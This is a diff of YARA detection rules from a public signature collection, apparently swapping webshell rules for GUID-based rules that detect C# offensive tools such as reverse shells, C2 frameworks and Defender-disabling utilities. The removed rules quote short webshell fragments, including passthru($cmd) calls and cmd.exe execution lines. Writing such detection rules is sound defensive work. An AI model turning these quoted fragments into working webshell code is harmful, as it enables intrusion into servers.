-		hash = "12bbdf6ef403720442a47a3cc730d034"
-		logic_hash = "60e235310f378698ffcc3ae6a07ab5dd94a660ca4b1504cc878d9741f751d5d1"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "c6b4c919-0fc6-5096-b29b-963142a2c831"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/wearelegal/CinaRAT"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L396-L412"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "10b086a6472ebad3bc3ab3fe41fb1869632aa94f4fe44446fa1fa7d97abf3ce6"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "action=mysqlread&mass=loadmass\">load all defaults"
-		$s2 = "if (@passthru($cmd)) { echo \" -->\"; $this->output_state(1, \"passthru"
-		$s3 = "$ra44  = rand(1,99999);$sj98 = \"sh-$ra44\";$ml = \"$sd98\";$a5 = "
+		$typelibguid0lo = "8586f5b1-2ef4-4f35-bd45-c6206fdc0ebc" ascii wide
+		$typelibguid0up = "8586F5B1-2EF4-4F35-BD45-C6206FDC0EBC" ascii wide
+		$typelibguid1lo = "fe184ab5-f153-4179-9bf5-50523987cf1f" ascii wide
+		$typelibguid1up = "FE184AB5-F153-4179-9BF5-50523987CF1F" ascii wide
 
 	condition:
-		1 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Worse_Linux_Shell_Php
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Toxiceye : FILE
 {
 	meta:
-		description = "Semi-Auto-generated  - file Worse Linux Shell.php.txt"
-		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
-		id = "e223e2a9-7c7a-597a-8b90-a63ee11805ea"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L4485-L4496"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "8338c8d9eab10bd38a7116eb534b5fa2"
-		logic_hash = "47801296b700e85f9e08857eb06f845ef8ed3f88b7d0de34d4b7c47cef6cc7fb"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "0b7b62ce-9c24-5d81-8d87-22f6e461a62b"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/LimerBoy/ToxicEye"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L414-L428"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "29c8be9e1500ff5799e7527482131e28dcea66077958d2c30126415769ad6ee0"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "print \"<tr><td><b>Server is:</b></td><td>\".$_SERVER['SERVER_SIGNATURE'].\"</td"
-		$s2 = "print \"<tr><td><b>Execute command:</b></td><td><input size=100 name=\\\"_cmd"
+		$typelibguid0lo = "1bcfe538-14f4-4beb-9a3f-3f9472794902" ascii wide
+		$typelibguid0up = "1BCFE538-14F4-4BEB-9A3F-3F9472794902" ascii wide
 
 	condition:
-		1 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Cyberlords_Sql_Php_Php
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Disable_Windows_Defender : FILE
 {
 	meta:
-		description = "Semi-Auto-generated  - file cyberlords_sql.php.php.txt"
-		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
-		id = "41730336-0dce-5ed9-95b0-c911a4e3cb48"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L4497-L4510"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "03b06b4183cb9947ccda2c3d636406d4"
-		logic_hash = "b3286f9fd86c90c5afc79801b6d65c9ae52ee1c37da93ff15461d84f37ef8019"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "9a673427-e66e-594b-942a-64a2272319f3"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/NYAN-x-CAT/Disable-Windows-Defender"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L430-L444"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "eeabc349036a73e65f81558e5e447c69a68161d487d0991a808800135287a67c"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "Coded by n0 [nZer0]"
-		$s1 = " www.cyberlords.net"
-		$s2 = "U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAAMUExURf///wAAAJmZzAAAACJoURkAAAAE"
-		$s3 = "return \"<BR>Dump error! Can't write to \".htmlspecialchars($file);"
+		$typelibguid0lo = "501e3fdc-575d-492e-90bc-703fb6280ee2" ascii wide
+		$typelibguid0up = "501E3FDC-575D-492E-90BC-703FB6280EE2" ascii wide
 
 	condition:
-		1 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Cmd_Asp_5_1_Asp
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Dinvoke_Poc : FILE
 {
 	meta:
-		description = "Semi-Auto-generated  - file cmd-asp-5.1.asp.txt"
-		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
-		id = "fc204ab8-892d-5435-a737-a185ca32e938"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L4511-L4522"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "8baa99666bf3734cbdfdd10088e0cd9f"
-		logic_hash = "a41c83da1a65e67b6f4ac6ad7cc8702486957ab0c7dda658d071e603338c324b"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "f3b0ef47-a92c-5c5d-a9e2-09579fcb438e"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/dtrizna/DInvoke_PoC"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L446-L460"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "c72125f272d18801c36a4f5f8c877ae5ecf3a81bd9e58113ce79f2311c455c65"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "Call oS.Run(\"win.com cmd.exe /c del \"& szTF,0,True)" fullword
-		$s3 = "Call oS.Run(\"win.com cmd.exe /c \"\"\" & szCMD & \" > \" & szTF &" fullword
+		$typelibguid0lo = "5a869ab2-291a-49e6-a1b7-0d0f051bef0e" ascii wide
+		$typelibguid0up = "5A869AB2-291A-49E6-A1B7-0D0F051BEF0E" ascii wide
 
 	condition:
-		1 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Pws_Php_Php
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Reverseshell : FILE
 {
 	meta:
-		description = "Semi-Auto-generated  - file pws.php.php.txt"
-		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
-		id = "1ec47c33-dbec-50bd-b4b0-8f00b704a816"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L4523-L4535"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "ecdc6c20f62f99fa265ec9257b7bf2ce"
-		logic_hash = "98dae8aab5bfd58f4264e318f5a5b5900b38687386f9d7f09c31da0f51d57bc0"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "876932d5-a65d-5230-9cb8-24038ad8af0d"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/chango77747/ReverseShell"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L462-L478"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "b736919d47877bcca21ba0fb136fe2ed39b645f6b1e9e9b5f0f2fc4758814174"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "<div align=\"left\"><font size=\"1\">Input command :</font></div>" fullword
-		$s1 = "<input type=\"text\" name=\"cmd\" size=\"30\" class=\"input\"><br>" fullword
-		$s4 = "<input type=\"text\" name=\"dir\" size=\"30\" value=\"<? passthru(\"pwd\"); ?>"
+		$typelibguid0lo = "980109e4-c988-47f9-b2b3-88d63fababdc" ascii wide
+		$typelibguid0up = "980109E4-C988-47F9-B2B3-88D63FABABDC" ascii wide
+		$typelibguid1lo = "8abe8da1-457e-4933-a40d-0958c8925985" ascii wide
+		$typelibguid1up = "8ABE8DA1-457E-4933-A40D-0958C8925985" ascii wide
 
 	condition:
-		2 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_PHP_Shell_Php_Php
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpc2 : FILE
 {
 	meta:
-		description = "Semi-Auto-generated  - file PHP Shell.php.php.txt"
-		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
-		id = "6978126c-5414-52d2-b085-6e5589716d93"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L4536-L4547"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "a2f8fa4cce578fc9c06f8e674b9e63fd"
-		logic_hash = "2d5b6e08bfe9e1551dab12b01189dadc924c097427c996684bab96c48d528395"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "2ed6d74e-2b95-5c70-807a-4da5e62f5853"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/SharpC2/SharpC2"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L480-L504"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "f145c6061a4babb006acb84b3dd16a9fe7ce5819c9a656f0a947119016cf992b"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "echo \"</form><form action=\\\"$SFileName?$urlAdd\\\" method=\\\"post\\\"><input"
-		$s1 = "echo \"<form action=\\\"$SFileName?$urlAdd\\\" method=\\\"POST\\\"><input type="
+		$typelibguid0lo = "62b9ee4f-1436-4098-9bc1-dd61b42d8b81" ascii wide
+		$typelibguid0up = "62B9EE4F-1436-4098-9BC1-DD61B42D8B81" ascii wide
+		$typelibguid1lo = "d2f17a91-eb2d-4373-90bf-a26e46c68f76" ascii wide
+		$typelibguid1up = "D2F17A91-EB2D-4373-90BF-A26E46C68F76" ascii wide
+		$typelibguid2lo = "a9db9fcc-7502-42cd-81ec-3cd66f511346" ascii wide
+		$typelibguid2up = "A9DB9FCC-7502-42CD-81EC-3CD66F511346" ascii wide
+		$typelibguid3lo = "ca6cc2ee-75fd-4f00-b687-917fa55a4fae" ascii wide
+		$typelibguid3up = "CA6CC2EE-75FD-4F00-B687-917FA55A4FAE" ascii wide
+		$typelibguid4lo = "a1167b68-446b-4c0c-a8b8-2a7278b67511" ascii wide
+		$typelibguid4up = "A1167B68-446B-4C0C-A8B8-2A7278B67511" ascii wide
+		$typelibguid5lo = "4d8c2a88-1da5-4abe-8995-6606473d7cf1" ascii wide
+		$typelibguid5up = "4D8C2A88-1DA5-4ABE-8995-6606473D7CF1" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Ayyildiz_Tim___AYT__Shell_V_2_1_Biz_Html
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Sneakyexec : FILE
 {
 	meta:
-		description = "Semi-Auto-generated  - file Ayyildiz Tim  -AYT- Shell v 2.1 Biz.html.txt"
-		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
-		id = "d50a8669-fd28-59d2-9f00-f4fe2b85dc22"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L4548-L4561"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "8a8c8bb153bd1ee097559041f2e5cf0a"
-		logic_hash = "9e2d56b49df65a2c13e15f97ec91cdbb6852d86e86f921d7c8a4db82cbea12f5"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "853b630d-77ba-5847-a129-c9fa0538f81b"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/HackingThings/SneakyExec"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L506-L520"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "a1a88512f8da078f9eb4ece21106b1cb0ba99ad86f5d3f90b036b647bb396fd4"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "Ayyildiz"
-		$s1 = "TouCh By iJOo"
-		$s2 = "First we check if there has been asked for a working directory"
-		$s3 = "http://ayyildiz.org/images/whosonline2.gif"
+		$typelibguid0lo = "612590aa-af68-41e6-8ce2-e831f7fe4ccc" ascii wide
+		$typelibguid0up = "612590AA-AF68-41E6-8CE2-E831F7FE4CCC" ascii wide
 
 	condition:
-		2 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_EFSO_2_Asp
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Urbanbishoplocal : FILE
 {
 	meta:
-		description = "Semi-Auto-generated  - file EFSO_2.asp.txt"
-		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
-		id = "f0566790-b41c-5167-b7ec-19e7d04256d1"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L4562-L4573"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "b5fde9682fd63415ae211d53c6bfaa4d"
-		logic_hash = "15e5419854bcbb08f28fff1e266cca7a004f01ec0a5c313c107ec17c3aa7ffee"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "53b690ec-7d20-5e46-b368-b458ce56073d"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/slyd0g/UrbanBishopLocal"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L522-L536"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "0102e3ecbc13503858ad2119f206fa052caefdf557bbc62448c6da8c8b540de1"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "Ejder was HERE"
-		$s1 = "*~PU*&BP[_)f!8c2F*@#@&~,P~P,~P&q~8BPmS~9~~lB~X`V,_,F&*~,jcW~~[_c3TRFFzq@#@&PP,~~"
+		$typelibguid0lo = "88b8515e-a0e8-4208-a9a0-34b01d7ba533" ascii wide
+		$typelibguid0up = "88B8515E-A0E8-4208-A9A0-34B01D7BA533" ascii wide
 
 	condition:
-		2 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Lamashell_Php
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpshell : FILE
 {
 	meta:
-		description = "Semi-Auto-generated  - file lamashell.php.txt"
-		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
-		id = "cbbb3377-ef9c-5fd1-a8b8-2b730fb5ef28"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L4574-L4586"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "de9abc2e38420cad729648e93dfc6687"
-		logic_hash = "5e156c3057338fa7b306b91dd979851dd56b8b698cfe99e1d7b6d096a4c580e7"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "5966be44-c010-5c63-9576-1aaf36397d6c"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/cobbr/SharpShell"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L538-L554"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "1a0d81f4bccde400d981da9cf769972fe1b8da44911c0805e6226f1db2ba0e84"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "lama's'hell" fullword
-		$s1 = "if($_POST['king'] == \"\") {"
-		$s2 = "if (move_uploaded_file($_FILES['fila']['tmp_name'], $curdir.\"/\".$_FILES['f"
+		$typelibguid0lo = "bdba47c5-e823-4404-91d0-7f6561279525" ascii wide
+		$typelibguid0up = "BDBA47C5-E823-4404-91D0-7F6561279525" ascii wide
+		$typelibguid1lo = "b84548dc-d926-4b39-8293-fa0bdef34d49" ascii wide
+		$typelibguid1up = "B84548DC-D926-4B39-8293-FA0BDEF34D49" ascii wide
 
 	condition:
-		1 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Ajax_PHP_Command_Shell_Php
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Evilwmiprovider : FILE
 {
 	meta:
-		description = "Semi-Auto-generated  - file Ajax_PHP Command Shell.php.txt"
-		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
-		id = "cae2e035-ae7b-589b-b2d9-e709028274c5"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L4587-L4599"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "93d1a2e13a3368a2472043bd6331afe9"
-		logic_hash = "37cba26018f3d37194a143871012a61a7bcee6775d2cf5f93a52b779010d3260"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "3a6cf00e-28c4-5e6f-a28d-b3f28fca6eed"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/sunnyc7/EvilWMIProvider"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L556-L570"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "5999197c1ccc2b3e9043c1cd4f73ef607f46b8eab0cd93889263cc460a3ba2c8"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "newhtml = '<b>File browser is under construction! Use at your own risk!</b> <br>"
-		$s2 = "Empty Command..type \\\"shellhelp\\\" for some ehh...help"
-		$s3 = "newhtml = '<font size=0><b>This will reload the page... :(</b><br><br><form enct"
+		$typelibguid0lo = "a4020626-f1ec-4012-8b17-a2c8a0204a4b" ascii wide
+		$typelibguid0up = "A4020626-F1EC-4012-8B17-A2C8A0204A4B" ascii wide
 
 	condition:
-		1 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Jspwebshell_1_2_Jsp
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Gadgettojscript : FILE
 {
 	meta:
-		description = "Semi-Auto-generated  - file JspWebshell 1.2.jsp.txt"
-		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
-		id = "edfe6a3d-7d56-52ad-a376-cec5722e87b7"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L4600-L4613"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "70a0ee2624e5bbe5525ccadc467519f6"
-		logic_hash = "32b3ddb00f89a3540118fe8ce5fc070556b00030dcf2b21245d38ae66e6cbc14"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "e296795f-d006-52a9-92c4-fb60c930564b"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/med0x2e/GadgetToJScript"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L572-L588"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "07ba9b4c303c12a74a13b28dddd4b1118cc30335bf9e76d8146224242619e87d"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "JspWebshell"
-		$s1 = "CreateAndDeleteFolder is error:"
-		$s2 = "<td width=\"70%\" height=\"22\">&nbsp;<%=env.queryHashtable(\"java.c"
-		$s3 = "String _password =\"111\";"
+		$typelibguid0lo = "af9c62a1-f8d2-4be0-b019-0a7873e81ea9" ascii wide
+		$typelibguid0up = "AF9C62A1-F8D2-4BE0-B019-0A7873E81EA9" ascii wide
+		$typelibguid1lo = "b2b3adb0-1669-4b94-86cb-6dd682ddbea3" ascii wide
+		$typelibguid1up = "B2B3ADB0-1669-4B94-86CB-6DD682DDBEA3" ascii wide
 
 	condition:
-		2 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Sincap_Php_Php
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Azurecli_Extractor : FILE
 {
 	meta:
-		description = "Semi-Auto-generated  - file Sincap.php.php.txt"
-		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
-		id = "8c4dc7b1-94ce-5528-8442-eae05d2c9980"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L4614-L4626"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "b68b90ff6012a103e57d141ed38a7ee9"
-		logic_hash = "e708a7dcb26ff7d0208c1f092e14e701f2ae94c4ffca019f13064bbe04ef74d7"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "f595545a-a7a6-577c-b3f4-febf7bf1b6c3"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/0x09AL/AzureCLI-Extractor"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L590-L604"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "5ea4dd540a39ac1160da15434b19036a99da69ea999ca0b0f5193fe32a263dca"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "$baglan=fopen(\"/tmp/$ekinci\",'r');"
-		$s2 = "$tampon4=$tampon3-1"
-		$s3 = "@aventgrup.net"
+		$typelibguid0lo = "a73cad74-f8d6-43e6-9a4c-b87832cdeace" ascii wide
+		$typelibguid0up = "A73CAD74-F8D6-43E6-9A4C-B87832CDEACE" ascii wide
 
 	condition:
-		2 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Test_Php_Php
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_UAC_Escaper : FILE
 {
 	meta:
-		description = "Semi-Auto-generated  - file Test.php.php.txt"
-		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
-		id = "58d73264-6507-5560-ad3e-0cc86c2ee291"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L4627-L4639"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "77e331abd03b6915c6c6c7fe999fcb50"
-		logic_hash = "575a2eeadc8113d779057f98e978ed4f8914546117b57944bf65f1d6d84c9521"
-		score = 50
+		description = "Detects c# red/black-team tools via typelibguid"
